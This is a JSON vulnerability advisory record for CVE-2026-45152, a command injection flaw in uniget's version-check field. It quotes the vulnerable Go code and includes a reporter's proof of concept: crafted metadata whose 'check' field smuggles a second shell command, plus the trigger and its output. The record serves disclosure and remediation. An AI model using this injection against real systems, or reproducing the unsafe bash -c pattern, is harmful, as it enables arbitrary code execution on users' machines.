{"id":"CVE-2026-45152","aliases":["CVE-2026-45152","GHSA-qqq4-5773-pmw5","GO-2026-5590"],"related":["CVE-2026-44711"],"kind":"vulnerability","state":"published","title":"uniget: Command Injection in tool.Check Leading to Arbitrary Code Execution","summary":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.","source":"cvelist"},{"lang":"en","text":"I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.\n\n### Summary\n\nA command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed.\n\nThis vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.\n\n### Details\n\nThe vulnerable code is located in:\n\n`tool.go:250`\n\nVulnerable function:\n\n```go id=\"f2g0ic\"\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n    cmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n    version, err := cmd.Output()\n    return string(version), nil\n}\n```\n\nThe issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.\n\nRelated structure:\n\n```go id=\"7f4yzm\"\ntype Tool struct {\n    Check string\n}\n```\n\nMetadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.\n\nBecause `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection.\n\n### PoC\n\nStep 1 — Verify the vulnerable binary:\n\n```bash id=\"7k3d07\"\n/tmp/uniget-bin --version\n```\n\nOutput:\n\n```text id=\"p2gk9z\"\nuniget version main\n```\n\nStep 2 — Create malicious metadata cache:\n\n```bash id=\"j5zpr0\"\nmkdir -p ~/.local/var/cache/uniget\n\ncat > ~/.local/var/cache/uniget/metadata.json << 'EOF'\n{\n  \"tools\": [\n    {\n      \"name\": \"evil-tool\",\n      \"version\": \"1.0.0\",\n      \"binary\": \"${target}/bin/evil-tool\",\n      \"check\": \"echo '1.0.0'; id > /tmp/rce-proof.txt\",\n      \"tags\": [\"test\"],\n      \"description\": \"RCE test\",\n      \"repository\": \"https://example.com\",\n      \"license\": {\n        \"name\": \"MIT\",\n        \"link\": \"https://example.com\"\n      },\n      \"sources\": [\n        {\n          \"registry\": \"ghcr.io\",\n          \"repository\": \"uniget-org/tools\"\n        }\n      ]\n    }\n  ]\n}\nEOF\n```\n\nStep 3 — Create placeholder binary:\n\n```bash id=\"53ml7u\"\nmkdir -p ~/.local/usr/local/bin\n\ncat > ~/.local/usr/local/bin/evil-tool << 'EOF'\n#!/bin/bash\necho \"placeholder\"\nEOF\n\nchmod +x ~/.local/usr/local/bin/evil-tool\n```\n\nStep 4 — Trigger the vulnerable workflow:\n\n```bash id=\"w4j7h4\"\n/tmp/uniget-bin describe evil-tool --prefix ~/.local\n```\n\nApplication output:\n\n```text id=\"q0k54m\"\nName: evil-tool\n  Description: RCE test\n  Repository: https://example.com\n  Version: 1.0.0\n  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>\n```\n\nStep 5 — Verify arbitrary command execution:\n\n```bash id=\"w7r8z3\"\nls -la /tmp/rce-proof.txt\ncat /tmp/rce-proof.txt\n```\n\nActual output:\n\n```bash id=\"6plm7v\"\n-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt\n\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)\n```\n\n<img width=\"1107\" height=\"694\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7\" />\n\n<img width=\"1909\" height=\"631\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e\" />\n\n\nThis confirms arbitrary command execution through the untrusted `check` field loaded from metadata.\n\n### Impact\n\nThis issue allows arbitrary command execution on systems running uniget when processing malicious metadata.\n\nAn attacker may be able to:\n\n* Execute arbitrary shell commands\n* Exfiltrate sensitive files or environment variables\n* Install malware or backdoors\n* Modify or delete accessible files\n* Establish persistence on the victim machine\n* Compromise CI/CD environments using uniget automation\n\nAny user importing or processing attacker-controlled metadata may be impacted.\n\n### Suggested Remediation\n\nAvoid using `/bin/bash -c` with untrusted input.\n\nInstead of:\n\n```go id=\"ntxjlwm\"\nexec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n```\n\nconsider executing fixed binaries and arguments directly without invoking a shell.\n\nFor example:\n\n```go id=\"ngbkk2\"\nexec.Command(binary, \"--version\")\n```\n\nor sanitize and strictly validate allowed commands before execution.\n\nThank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.","format":"markdown","source":"ghsa"},{"lang":"en","text":"uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution in gitlab.com/uniget-org/cli","format":"markdown","source":"go"},{"lang":"es","text":"uniget es un instalador y actualizador universal para herramientas (de contenedor). Antes de 0.27.1, existe una vulnerabilidad de inyección de comandos en uniget debido a la ejecución insegura del campo check de los archivos de metadatos usando /bin/bash -c. Debido a que el campo check se carga directamente de metadatos JSON no confiables sin validación ni saneamiento, un atacante puede crear metadatos maliciosos que ejecutan comandos de shell arbitrarios en el sistema de la víctima cuando se realizan operaciones comunes de uniget como describe, install, update o inspect. Esta vulnerabilidad puede conducir a la ejecución de código arbitrario con los privilegios del usuario que ejecuta uniget. Esta vulnerabilidad se corrige en 0.27.1.","source":"nvd"}],"published":"2026-05-13T15:33:10.000Z","modified":"2026-10-26T12:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 0.27.1","status":"affected"}],"vendor":"uniget-org","product":"cli","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.1"}],"ecosystem":"Go","package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.27.1"}],"ecosystem":"Go","package":"gitlab.com/uniget-org/cli","purl":"pkg:golang/gitlab.com/uniget-org/cli","source":"go"}],"references":[{"url":"https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45152","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/uniget-org/cli","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/uniget-org/cli/releases/tag/v0.27.1","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-05-28T12:39:59.369Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45152","url":"https://www.cve.org/CVERecord?id=CVE-2026-45152","licence":"CVE Terms of Use","modified":"2026-05-28T12:40:02.534Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qqq4-5773-pmw5","url":"https://github.com/advisories/GHSA-qqq4-5773-pmw5","licence":"CC-BY-4.0","modified":"2026-07-08T08:14:40.188Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5590","url":"https://pkg.go.dev/vuln/GO-2026-5590","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:34.508Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45152","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45152","licence":"Public domain","modified":"2026-10-26T12:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:22.701Z","epss":{"score":0.00826,"percentile":0.58604,"date":"2026-12-02T12:00:21.000Z"}}